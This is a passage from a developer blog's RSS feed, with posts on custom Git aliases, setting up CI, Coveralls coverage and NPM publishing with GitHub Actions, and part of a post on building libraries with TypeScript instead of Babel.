<p>To summarize it</p>
<ul>
<li>Work in small iterations</li>
<li>Focus on 2 hours, not 2 years</li>
<li>Define a goal for each session</li>
<li>Don't get stuck on the little things</li>
<li>Know when to break out of a problem chain</li>
<li>Choose tools that help you get there faster</li>
</ul>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA["git nah" and more handy Git aliases]]></title>
            <link>https://michaelzanggl.com/articles/git-nah-and-more-handy-aliases/</link>
            <guid>git-nah-and-more-handy-aliases</guid>
            <description><![CDATA[Creating our own custom git commands for increased productivity]]></description>
            <content:encoded><![CDATA[<p>A while ago I posted an article on <a href="/articles/undo-changes-in-git">undoing changes in Git</a>, but some of these arguments or flags just don't want to stick in my head or, I use them so often I don't want to write them out every time. Luckily Git provides us with the ability to create our own custom commands.</p>
<p>For example, if you want to just do <code>git c</code> instead of <code>git commit</code> you could register the following alias:</p>
<pre class="hljs"><code>git config --global alias.c <span class="hljs-string">"commit"</span>
</code></pre>
<hr>
<p>With that being said, I want to introduce my top three git aliases:</p>
<h2 id="git-nah">git nah</h2>
<p>Did you ever write something out and then felt like &quot;nah...&quot;. Now you can put your thoughts into action with this handy alias. Reset any local and staged changes as if nothing happened.</p>
<pre class="hljs"><code>git config --global alias.nah <span class="hljs-string">"!git reset --hard &amp;&amp; git clean -df"</span>
</code></pre>
<blockquote>
<p>Notice the exclamation mark. It needs this so we can run custom commands. This allows us to combine two git commands.</p>
</blockquote>
<x-ad />
<h2 id="git-amend">git amend</h2>
<p>Sometimes you just miss committing something. Adding more changes to the latest commit was never easier. It doesn't even open vim for you to change the commit message, it just appends to the latest commit.</p>
<pre class="hljs"><code>git config --global alias.amend <span class="hljs-string">"commit --amend --no-edit"</span>
</code></pre>
<h2 id="git-update">git update</h2>
<p>While working on a feature branch, more than often, by the time you want to merge back into the main branch (develop/master), that main branch already has a few new commits. Keeping your local branch up to date will help avoiding big merge conflicts. I use this one daily.</p>
<pre class="hljs"><code>git config --global alias.update <span class="hljs-string">"pull --rebase origin develop"</span>
</code></pre>
<h2 id="bonus">bonus</h2>
<p>Adding &quot;-n&quot; when committing allows you to skip precommit hooks like linting. This is sometimes necessary when working with legacy code. The following alias at least makes you feel bad about it.</p>
<pre class="hljs"><code>git config --global alias.commit-crime <span class="hljs-string">"commit -n"</span>
</code></pre>
<p>Last but not least here is a handy alias to list all aliases. Let's name it &quot;alias&quot;.</p>
<pre class="hljs"><code>git config --global alias.alias <span class="hljs-string">"! git config --get-regexp ^alias\. | sed -e s/^alias\.// -e s/\ /\ =\ /"</span>
</code></pre>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Publish to NPM automatically with GitHub Actions]]></title>
            <link>https://michaelzanggl.com/articles/github-actions-cd-setup/</link>
            <guid>github-actions-cd-setup</guid>
            <description><![CDATA[Part three of a series in which we explore GitHub Actions to create a CI/CD pipeline.]]></description>
            <content:encoded><![CDATA[<p>Now that we are all done with CI, let's tackle CD.</p>
<p>There are a couple of ways we can set up publishing to NPM. For example, we could publish when pushing to a certain branch, creating a tag, creating a commit in a specific pattern, or by creating a release on GitHub directly.</p>
<p>For my project <a href="https://github.com/MZanggl/flooent">flooent</a>, I went with the last option.</p>
<p>Here's what I want:</p>
<p>My project is currently on version 2. The code for this (the latest version) is on the branch <code>latest</code>. The code for version 1 is on the branch <code>v1-latest</code>. The reason for these branch names will become apparent later. I want to be able to publish, of course, the current version, but also version 1 in case a patch is needed.</p>
<p>And here's what I need the pipeline to do:</p>
<ul>
<li>When publishing a release, trigger a workflow</li>
<li>In the build, first, check out the branch the release is targetting</li>
<li>Update the version in package.json based on the release tag</li>
<li>Build the project and run tests to make sure everything works</li>
<li>Publish the project to an NPM registry</li>
<li>Push the version change to GitHub</li>
</ul>
<x-ad />
<h2 id="the-.yml-file">The .yml file</h2>
<p>If you haven't already, create the directories <code>.github/workflows</code> in the root of your repository. Inside, create a file &quot;cd.yml&quot;.</p>
<p>To get the release info we will be using data passed in by GitHub which is available under the variable &quot;github&quot;.</p>
<p>To see everything it contains, you can echo it out in your workflow:</p>
<pre class="hljs"><code><span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">echo</span> <span class="hljs-string">"$<span class="hljs-template-variable">{{ toJson(${{ github.event) }}</span>"</span>
</code></pre>
<p>And here is the content of the <code>cd.yml</code> file.
I will not go through it line by line, instead, I added comments to each line explaining what is happening.</p>
<pre class="hljs"><code><span class="hljs-attr">name:</span> <span class="hljs-string">NPM</span> <span class="hljs-string">publish</span> <span class="hljs-string">CD</span> <span class="hljs-string">workflow</span>

<span class="hljs-attr">on:</span>
  <span class="hljs-attr">release:</span>
    <span class="hljs-comment"># This specifies that the build will be triggered when we publish a release</span>
    <span class="hljs-attr">types:</span> <span class="hljs-string">[published]</span>

<span class="hljs-attr">jobs:</span>
  <span class="hljs-attr">build:</span>

    <span class="hljs-comment"># Run on latest version of ubuntu</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>

    <span class="hljs-attr">steps:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/checkout@v2</span>
      <span class="hljs-attr">with:</span>
        <span class="hljs-comment"># "ref" specifies the branch to check out.</span>
        <span class="hljs-comment"># "github.event.release.target_commitish" is a global variable and specifies the branch the release targeted</span>
        <span class="hljs-attr">ref:</span> <span class="hljs-string">${{</span> <span class="hljs-string">github.event.release.target_commitish</span> <span class="hljs-string">}}</span>
    <span class="hljs-comment"># install Node.js</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Use</span> <span class="hljs-string">Node.js</span> <span class="hljs-number">12</span>
      <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/setup-node@v1</span>
      <span class="hljs-attr">with:</span>
        <span class="hljs-attr">node-version:</span> <span class="hljs-number">12</span>
        <span class="hljs-comment"># Specifies the registry, this field is required!</span>
        <span class="hljs-attr">registry-url:</span> <span class="hljs-string">https://registry.npmjs.org/</span>
    <span class="hljs-comment"># clean install of your projects' deps. We use "npm ci" to avoid package lock changes</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">ci</span>
    <span class="hljs-comment"># set up git since we will later push to the repo</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">git</span> <span class="hljs-string">config</span> <span class="hljs-string">--global</span> <span class="hljs-string">user.name</span> <span class="hljs-string">"GitHub CD bot"</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">git</span> <span class="hljs-string">config</span> <span class="hljs-string">--global</span> <span class="hljs-string">user.email</span> <span class="hljs-string">"github-cd-bot@example.com"</span>
    <span class="hljs-comment"># upgrade npm version in package.json to the tag used in the release.</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">version</span> <span class="hljs-string">${{</span> <span class="hljs-string">github.event.release.tag_name</span> <span class="hljs-string">}}</span>
    <span class="hljs-comment"># build the project</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">run</span> <span class="hljs-string">build</span>
    <span class="hljs-comment"># run tests just in case</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">test</span>
    <span class="hljs-comment"># publish to NPM -&gt; there is one caveat, continue reading for the fix</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">publish</span>
      <span class="hljs-attr">env:</span>
        <span class="hljs-comment"># Use a token to publish to NPM. See below for how to set it up</span>
        <span class="hljs-attr">NODE_AUTH_TOKEN:</span> <span class="hljs-string">${{</span> <span class="hljs-string">secrets.NPM_TOKEN</span> <span class="hljs-string">}}</span>
    <span class="hljs-comment"># push the version changes to GitHub</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">git</span> <span class="hljs-string">push</span>
      <span class="hljs-attr">env:</span>
        <span class="hljs-comment"># The secret is passed automatically. Nothing to configure.</span>
        <span class="hljs-attr">github-token:</span> <span class="hljs-string">${{</span> <span class="hljs-string">secrets.GITHUB_TOKEN</span> <span class="hljs-string">}}</span>

</code></pre>
<h2 id="npm-auth-token">NPM auth token</h2>
<p>We publish to NPM using a token <code>NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}</code>. But we still have to configure the &quot;NPM_TOKEN&quot; secret.</p>
<p>First, go to <a href="npmjs.com">npm</a>, in the settings go to &quot;Auth Tokens&quot;, and click the button &quot;Create New Token&quot;.</p>
<p>Copy the token and head over to the project settings of your GitHub repository. Go to &quot;Secrets&quot; and click &quot;New Secret&quot;. Give it the name &quot;NPM_TOKEN&quot; and for the value, paste the token inside.</p>
<p>With the secret set up, GitHub will now be able to resolve <code>${{ secrets.NPM_TOKEN }}</code> with the token from your GitHub secrets.</p>
<h2 id="fixing-an-npm-caveat">Fixing an NPM caveat</h2>
<p>It already works at this point!</p>
<p>We can create a release with the tag 2.1.0 and target the &quot;latest&quot; branch. We can also create a release with the tag &quot;1.3.4&quot; targetting the &quot;v1-latest&quot; branch.</p>
<blockquote>
<p>Make sure, when you create the release, to use a tag following semver. E.g. 2.0.0, v2.0.0, 2.0.0-beta.1, etc.</p>
</blockquote>
<p>However, there is one caveat when publishing an old version.</p>
<p>You see, when you do <code>npm install flooent</code> it will actually do <code>npm install flooent@latest</code> behind the scenes. And when you do <code>npm publish</code> it will actually do <code>npm publish --tag latest</code>.</p>
<p>&quot;latest&quot; is a reserved tag for NPM. However, even though the project is already on version 2, publishing a fix for version 1 will make it the &quot;latest&quot; version. This means when somebody installs the package afterward, he will get version 1 instead of version 2. That's of course not what we want.</p>
<p>So to fix this, we have to specify a different tag when publishing. One way to do this is by adding a default publish tag to the v1 branch package.json:</p>
<pre class="hljs"><code><span class="hljs-string">"publishConfig"</span>: {
  <span class="hljs-attr">"tag"</span>: <span class="hljs-string">"v1-latest"</span>
}
</code></pre>
<p>But there's also another way. Remember the branch names I chose? &quot;latest&quot; and &quot;v1-latest&quot;. Sounds just like tags we can use for NPM.</p>
<p>So instead of fiddling with package.json in each branch, all we have to do is go to our yaml file and replace</p>
<pre class="hljs"><code><span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">publish</span>
</code></pre>
<p>with</p>
<pre class="hljs"><code><span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">publish</span> <span class="hljs-string">--tag</span> <span class="hljs-string">${{</span> <span class="hljs-string">github.event.release.target_commitish</span> <span class="hljs-string">}}</span>
</code></pre>
<p>The reason I chose <code>v1-latest</code> over just <code>v1</code> is that npm tags must <strong>not</strong> follow semver. Otherwise, NPM would not be able to distinguish a tag from a specific published version.</p>
<hr>
<p>Setting up the different parts for CD was admittedly the hardest part to get right, but the resulting yaml file is actually quite small and straight forward.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GitHub Actions: Setting up CI for a JS/TS/Node project]]></title>
            <link>https://michaelzanggl.com/articles/github-actions-ci-setup/</link>
            <guid>github-actions-ci-setup</guid>
            <description><![CDATA[Part one of a series in which we explore GitHub Actions to create a CI/CD pipeline.]]></description>
            <content:encoded><![CDATA[<p>Having used and modified CI/CD systems in Jenkins and GitLab CI in the past, I have never set it up myself. Wanting to learn something new, I decided to look into GitHub Actions to add CI/CD to an open-source project of mine called <a href="https://github.com/MZanggl/flooent">flooent</a>. In this series of articles, I will share how I set up CI, test coverage, and CD.</p>
<p>I will show you how you</p>
<ul>
<li>can run tests automatically when pushing a change or creating/updating a PR</li>
<li>create and save a test coverage report and show its results in your README as well as in PRs</li>
<li>Automatically publish different versions of your project to NPM by creating a release on GitHub.</li>
</ul>
<x-ad />
<h2 id="setting-up-ci">Setting up CI</h2>
<p>In this post, we will cover how to run tests automatically when pushing a change to a repository or creating/updating a PR.</p>
<p>To get started you need to create a <code>.yml</code> file in a specific directory. While you can do that through GitHub (under &quot;Actions&quot;), in this post we will set it up on our local. It's really simple.</p>
<p>In the root of your repository create the directories <code>.github/workspaces</code>.</p>
<pre class="hljs"><code>mkdir .github
<span class="hljs-built_in">cd</span> .github
mkdir workspaces
<span class="hljs-built_in">cd</span> workspaces
</code></pre>
<p>GitHub Actions will pick up <code>.yml</code> files inside this directory. Let's create the file <code>ci.yml</code>.</p>
<p>Basically it goes like this:</p>
<ul>
<li>checkout the branch</li>
<li>install node (on ubuntu)</li>
<li>install the dependencies of your project and build it if necessary</li>
<li>finally, run the tests</li>
</ul>
<p>I added comments to almost every line explaining the setup.</p>
<pre class="hljs"><code><span class="hljs-comment"># This workflow will do a clean install of node dependencies, build the source code and run tests</span>
<span class="hljs-comment"># For more information see: https://help.github.com/actions/language-and-framework-guides/using-nodejs-with-github-actions</span>

<span class="hljs-attr">name:</span> <span class="hljs-string">CI</span> <span class="hljs-string">Pipeline</span>

<span class="hljs-comment"># trigger build when pushing, or when creating a pull request</span>
<span class="hljs-attr">on:</span> <span class="hljs-string">[push,</span> <span class="hljs-string">pull_request]</span>

<span class="hljs-attr">jobs:</span>
  <span class="hljs-attr">build:</span>

    <span class="hljs-comment"># run build on latest ubuntu</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>

    <span class="hljs-attr">steps:</span>
    <span class="hljs-comment"># this will check out the current branch (https://github.com/actions/checkout#Push-a-commit-using-the-built-in-token)</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/checkout@v2</span>
    <span class="hljs-comment"># installing Node</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Use</span> <span class="hljs-string">Node.js</span> <span class="hljs-number">12.</span><span class="hljs-string">x</span>
      <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/setup-node@v1</span>
      <span class="hljs-attr">with:</span>
        <span class="hljs-comment"># this will use the latest Node 12 version</span>
        <span class="hljs-attr">node-version:</span> <span class="hljs-number">12.</span><span class="hljs-string">x</span>
    <span class="hljs-comment"># install dependencies using clean install to avoid package lock updates</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">ci</span>
    <span class="hljs-comment"># build the project if necessary</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">run</span> <span class="hljs-string">build</span> <span class="hljs-string">--if-present</span>
    <span class="hljs-comment"># finally run the tests</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">test</span>
</code></pre>
<p>Note how we make use of other GitHub actions like <a href="https://github.com/actions/checkout#Push-a-commit-using-the-built-in-token">actions/checkout@v2</a>. Actions like these handle common tasks, and of course, you can create your own!</p>
<p>If you want to run tests across different versions of Node, you can specify a matrix. The script would look like this:</p>
<pre class="hljs"><code><span class="hljs-comment"># This workflow will do a clean install of node dependencies, build the source code and run tests across different versions of node</span>
<span class="hljs-comment"># For more information see: https://help.github.com/actions/language-and-framework-guides/using-nodejs-with-github-actions</span>

<span class="hljs-attr">name:</span> <span class="hljs-string">Node.js</span> <span class="hljs-string">CI</span>

<span class="hljs-comment"># trigger build when pushing, or when creating a pull request</span>
<span class="hljs-attr">on:</span> <span class="hljs-string">[push,</span> <span class="hljs-string">pull_request]</span>

<span class="hljs-attr">jobs:</span>
  <span class="hljs-attr">build:</span>

    <span class="hljs-comment"># run build on latest ubuntu</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>

    <span class="hljs-attr">strategy:</span>
      <span class="hljs-attr">matrix:</span>
        <span class="hljs-comment"># Run build for both Node version 12 and version 14</span>
        <span class="hljs-attr">node-version:</span> <span class="hljs-string">[12.x,</span> <span class="hljs-number">14.</span><span class="hljs-string">x]</span>

    <span class="hljs-attr">steps:</span>
    <span class="hljs-comment"># for checking out the branch (https://github.com/actions/checkout#Push-a-commit-using-the-built-in-token)</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/checkout@v2</span>
    <span class="hljs-comment"># installing Node</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Use</span> <span class="hljs-string">Node.js</span> <span class="hljs-string">${{</span> <span class="hljs-string">matrix.node-version</span> <span class="hljs-string">}}</span>
      <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/setup-node@v1</span>
      <span class="hljs-attr">with:</span>
        <span class="hljs-comment"># this is regarding the matrix strategy specified above</span>
        <span class="hljs-attr">node-version:</span> <span class="hljs-string">${{</span> <span class="hljs-string">matrix.node-version</span> <span class="hljs-string">}}</span>
    <span class="hljs-comment"># install dependencies</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">ci</span>
    <span class="hljs-comment"># build the project if necessary</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">run</span> <span class="hljs-string">build</span> <span class="hljs-string">--if-present</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">test</span>
</code></pre>
<p>Believe it or not, but that's it!</p>
<p>Now when you push this, you should see a pipeline built under &quot;Actions&quot; as well as the status of the last build on the repository:
<img src="https://dev-to-uploads.s3.amazonaws.com/i/mdicd0w908auk4j7pihz.png" alt="showing the last build status"></p>
<p>Notice the checkmark next to the commit hash. Clicking on it will also lead you to the build.</p>
<p>If any of your tests fail, the job will fail and alert you per email (You can configure this in your GitHub settings).</p>
<p>Furthermore, when a PR is created the build will also be triggered and you will see the results directly in the PR.</p>
<p>Take a look at the script I use for flooent: <a href="https://github.com/MZanggl/flooent/blob/latest/.github/workflows/ci.yml">https://github.com/MZanggl/flooent/blob/latest/.github/workflows/ci.yml</a></p>
<hr>
<p>And that's about it. I was pleasantly surprised by how easy it was to set it up. Next time let's check out how to add test coverage!</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GitHub Actions: Setting up Test Coverage for a JS/TS/Node project]]></title>
            <link>https://michaelzanggl.com/articles/github-actions-coverage-setup/</link>
            <guid>github-actions-coverage-setup</guid>
            <description><![CDATA[Part two of a series in which we explore GitHub Actions to create a CI/CD pipeline.]]></description>
            <content:encoded><![CDATA[<p>This is a follow-up article to set up CI using GitHub Actions. Make sure you check out the <a href="https://michaelzanggl.com/articles/github-actions-ci-setup/">previous article</a> first.</p>
<p>Today let's focus on test coverage. At the end of this article your project's README will have one additional badge just like this one:</p>
<p><img src="https://coveralls.io/repos/github/MZanggl/flooent/badge.svg?branch=2.0" alt="Coverage Status"></p>
<p>Additionally, coverage results will be added to PRs as a comment.</p>
<p><img src="https://camo.githubusercontent.com/8303ee41ef9f75fa0c756bf3b6e8cd9391b58ed8/68747470733a2f2f73332e616d617a6f6e6177732e636f6d2f6173736574732e636f766572616c6c732e696f2f436f766572616c6c73253230476974687562253230416374696f6e25323044656d6f2532302d2532307472696d6d65642532302d253230342e38783732302e676966" alt="showing coverage status in a PR"></p>
<h2 id="prerequisites">Prerequisites</h2>
<p>To save the coverage results and for the PR wizardry above we use a tool called <a href="http://coveralls.io/">Coveralls</a>. Make sure to connect your GitHub account with it. Under &quot;Add repo&quot;, add the repository you want to include.</p>
<p><strong>Notice that with the free tier, the repository has to be public.</strong></p>
<h2 id="adding-the-test-coverage-script">Adding the test coverage script</h2>
<p>If you use jest to run your tests, you can supposedly run <code>jest --coverage</code> to create a coverage report. In my case though, I am using <a href="https://github.com/thetutlage/japa">japa</a> which doesn't come with its own test coverage system.</p>
<p>So instead, let's make use of <a href="https://github.com/istanbuljs/nyc">nyc</a>, the istanbul CLI.</p>
<p>We simply add an additional script to our package.json:</p>
<h4 id="before">Before</h4>
<pre class="hljs"><code><span class="hljs-string">"scripts"</span>: {
    <span class="hljs-string">"test"</span>: <span class="hljs-string">"node japaFile.js"</span>
}
</code></pre>
<h4 id="after">After</h4>
<pre class="hljs"><code><span class="hljs-string">"scripts"</span>: {
    <span class="hljs-string">"test"</span>: <span class="hljs-string">"node japaFile.js"</span>,
    <span class="hljs-string">"coverage"</span>: <span class="hljs-string">"nyc --reporter=lcov npm test"</span>
}
</code></pre>
<p><code>--reporter=lcov</code> means it will create a <code>./coverage/lcov.info</code> to save the coverage results. <em>We only need to the results on the CI pipeline, if you run this command locally, you can safely gitignore or delete the results again.</em></p>
<p>To see the coverage results directly in the terminal, temporarily remove <code>--reporter=lcov</code> and run <code>npm run coverage</code>.</p>
<h2 id="adding-test-coverage-to-our-ci-workflow">Adding test coverage to our CI workflow</h2>
<p>Now all that's left is to add a little bit to the <code>ci.yml</code> file we created in the previous article.</p>
<p>First, let's replace</p>
<pre class="hljs"><code><span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">test</span>
</code></pre>
<p>with</p>
<pre class="hljs"><code><span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">run</span> <span class="hljs-string">coverage</span>
</code></pre>
<p>This will now create the coverage reports when we run the workflow. Finally, let's send the reports to Coveralls. By convention, it will look for <code>./coverage/lcov.info</code>, which was created by the <code>npm run coverage</code> script.</p>
<p>Add this additional step to the yml file:</p>
<pre class="hljs"><code>    <span class="hljs-comment"># Send coverage report to Coveralls</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Coveralls</span>
      <span class="hljs-attr">uses:</span> <span class="hljs-string">coverallsapp/github-action@master</span>
      <span class="hljs-attr">with:</span>
        <span class="hljs-attr">github-token:</span> <span class="hljs-string">${{</span> <span class="hljs-string">secrets.GITHUB_TOKEN</span> <span class="hljs-string">}}</span>
</code></pre>
<p>We make use of Coveralls' GitHub Action which can be found <a href="https://github.com/marketplace/actions/coveralls-github-action">here</a>.</p>
<p>Note that GITHUB_TOKEN is automatically passed and does not have to be configured by you in any way. Since our GitHub account is linked with Coveralls, there is also no additional setup necessary to authenticate your Coveralls account.</p>
<p>Altogether, our <code>ci.yml</code> file looks like this:</p>
<pre class="hljs"><code><span class="hljs-comment"># This workflow will do a clean install of node dependencies, build the source code and run tests</span>
<span class="hljs-comment"># For more information see: https://help.github.com/actions/language-and-framework-guides/using-nodejs-with-github-actions</span>

<span class="hljs-attr">name:</span> <span class="hljs-string">CI</span> <span class="hljs-string">Pipeline</span>

<span class="hljs-comment"># trigger build when pushing, or when creating a pull request</span>
<span class="hljs-attr">on:</span> <span class="hljs-string">[push,</span> <span class="hljs-string">pull_request]</span>

<span class="hljs-attr">jobs:</span>
  <span class="hljs-attr">build:</span>

    <span class="hljs-comment"># run build on latest ubuntu</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>

    <span class="hljs-attr">steps:</span>
    <span class="hljs-comment"># this will check out the current branch (https://github.com/actions/checkout#Push-a-commit-using-the-built-in-token)</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/checkout@v2</span>
    <span class="hljs-comment"># installing Node</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Use</span> <span class="hljs-string">Node.js</span> <span class="hljs-number">12.</span><span class="hljs-string">x</span>
      <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/setup-node@v1</span>
      <span class="hljs-attr">with:</span>
        <span class="hljs-comment"># this will use the latest Node 12 version</span>
        <span class="hljs-attr">node-version:</span> <span class="hljs-number">12.</span><span class="hljs-string">x</span>
    <span class="hljs-comment"># install dependencies using clean install to avoid package lock updates</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">ci</span>
    <span class="hljs-comment"># build the project if necessary</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">run</span> <span class="hljs-string">build</span> <span class="hljs-string">--if-present</span>
    <span class="hljs-comment"># finally run the tests</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">run:</span> <span class="hljs-string">npm</span> <span class="hljs-string">run</span> <span class="hljs-string">coverage</span>

    <span class="hljs-comment"># Save coverage report in Coveralls</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Coveralls</span>
      <span class="hljs-attr">uses:</span> <span class="hljs-string">coverallsapp/github-action@master</span>
      <span class="hljs-attr">with:</span>
        <span class="hljs-attr">github-token:</span> <span class="hljs-string">${{</span> <span class="hljs-string">secrets.GITHUB_TOKEN</span> <span class="hljs-string">}}</span>
</code></pre>
<p>Now push the changes, watch the build, check the results in Coveralls, grab your badge and stick it to your README.</p>
<x-ad />
<hr>
<p>Aaand that's all there is to it. Now all that's left is to set up the CD workflow. Until then ;)</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How TypeScript over babel greatly simplifies creating libraries ]]></title>
            <link>https://michaelzanggl.com/articles/how-typescript-simplifies-writing-libraries/</link>
            <guid>how-typescript-simplifies-writing-libraries</guid>
            <description><![CDATA[Creating a NPM library sounds simple at first but once you think of supporting node, browser, ES5, ES6 etc. it can turn into quite a daunting task. Babel helps but adds a lot of complexity, let's see how you can achieve the same with less using TypeScript.]]></description>
            <content:encoded><![CDATA[<p>Creating a NPM library (or project in general) sounds simple at first but once you think of supporting both node and the browser and then start thinking about ES5, ES6 etc. it can become quite a daunting task. All I want is write code using the latest features and transpile it down to ES5.</p>
<p>For long I was using babel for transpiling, and I don't know about you, but it is just way too complex for my taste.</p>
<p>Before you know it, your package.json is filled with @babel/runtime, @babel/cli, @babel/core, @babel/plugin-transform-runtime, @babel/preset-env and maybe more if you want to use recent ES features. Like, using rest and spread requires you to additionally install @babel/plugin-proposal-object-rest-spread 🤷</p>
<p>And worst of all, you kind of have to figure this out on your own or following (outdated) blog posts. Going though the transpiled code to make sure that stuff is actually being transpiled properly. Learning the in's and out's of ecma script proposal stages and so forth. Finally, you think you are all set and use <code>[1, 2].includes(1)</code> only to hear complaints from some users that the site is crashing. (More on this later)</p>
<x-ad />
<h2 id="typescript-to-the-rescue">TypeScript to the rescue</h2>
<p>With TypeScript all you need is one file <code>tsconfig.json</code> to handle all of the JS ecosystem madness, well most of it at least.</p>
<p>Sure, TypeScript is also something that you have to learn, and it doesn't come without its very own set of challenges, but let me guide you through it and I'm sure you will love it! It has so much more to offer than just transpiling your code...</p>
<p>So let's go ahead and create a little library.</p>
<blockquote>
<p>I am not here to bash babel or anything, I know them providing all these different plugins sure is useful for many projects. But then there are so many other projects where you don't really need this flexibility. As always, judge for yourself which is the way to go in your particular use case.</p>
</blockquote>
<h3 id="preparations">Preparations</h3>
<p>First let's create a new project, initialize the package, install typescript and create an empty config file.</p>
<pre class="hljs"><code>mkdir my-lib
<span class="hljs-built_in">cd</span> my-lib
npm init --yes
npm install typescript --save-dev
touch tsconfig.json
</code></pre>
<p>Alright, next let's create a typescript file so we can test the output.</p>
<pre class="hljs"><code>mkdir src
<span class="hljs-built_in">cd</span> src
touch index.ts
</code></pre>
<p>Go ahead and open the project in your favorite code editor (I recommend vs code since it already comes with full TS support).</p>
<pre class="hljs"><code><span class="hljs-comment">// src/index.ts</span>

<span class="hljs-keyword">export</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">scream</span>(<span class="hljs-params">text</span>) </span>{
  <span class="hljs-keyword">const</span> transformedText = text.toUpperCase()
  <span class="hljs-keyword">return</span> <span class="hljs-string">`<span class="hljs-subst">${transformedText}</span>!!!!`</span>
}
</code></pre>
<p>Relatively straight forward, take the input and scream it back out again.</p>
<p>Let's add a script to compile the code in <code>package.json</code> under <code>scripts</code></p>
<pre class="hljs"><code><span class="hljs-string">"scripts"</span>: {
    <span class="hljs-attr">"test"</span>: <span class="hljs-string">"echo \"Error: no test specified\" &amp;&amp; exit 1"</span>,
    <span class="hljs-attr">"compile"</span>: <span class="hljs-string">"tsc"</span>
},
</code></pre>
<blockquote>
<p>tsc stands for typescript compiler and is available since we installed the typscript dependency.</p>
</blockquote>
<p>Finally, let's create the configurations inside <code>tsconfig.json</code></p>
<pre class="hljs"><code>{
  <span class="hljs-attr">"compilerOptions"</span>: {
      <span class="hljs-attr">"outDir"</span>: <span class="hljs-string">"./dist"</span>
  },
  <span class="hljs-attr">"include"</span>: [
      <span class="hljs-string">"src/**/*"</span>
  ]
}
</code></pre>
<p>This simply tells TS to compile everything in the &quot;src&quot; folder and output the compiled files in a &quot;dist&quot; folder.</p>
<p>We can now run <code>npm run compile</code> to compile this code and we get the following output in <code>dist/index.js</code>:</p>
<pre class="hljs"><code><span class="hljs-meta">"use strict"</span>;
exports.__esModule = <span class="hljs-literal">true</span>;
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">scream</span>(<span class="hljs-params">text</span>) </span>{
    <span class="hljs-keyword">var</span> transformedText = text.toUpperCase();
    <span class="hljs-keyword">return</span> transformedText + <span class="hljs-string">"!!!!"</span>;
}
exports.scream = scream;
</code></pre>
<p>Typescript transpiles it down all the way to ES3 and uses commonJS as the module resolution.</p>
<p>Note that you can use &quot;outFile&quot; instead of &quot;outDir&quot; to compile everything down to a single file.</p>
<p>There are a lot of tweaks that we can do here so let's explore some common compiler options.</p>
<h3 id="target-%26-module-compiler-options">target &amp; module compiler options</h3>
<pre class="hljs"><code>{
  <span class="hljs-attr">"compilerOptions"</span>: {
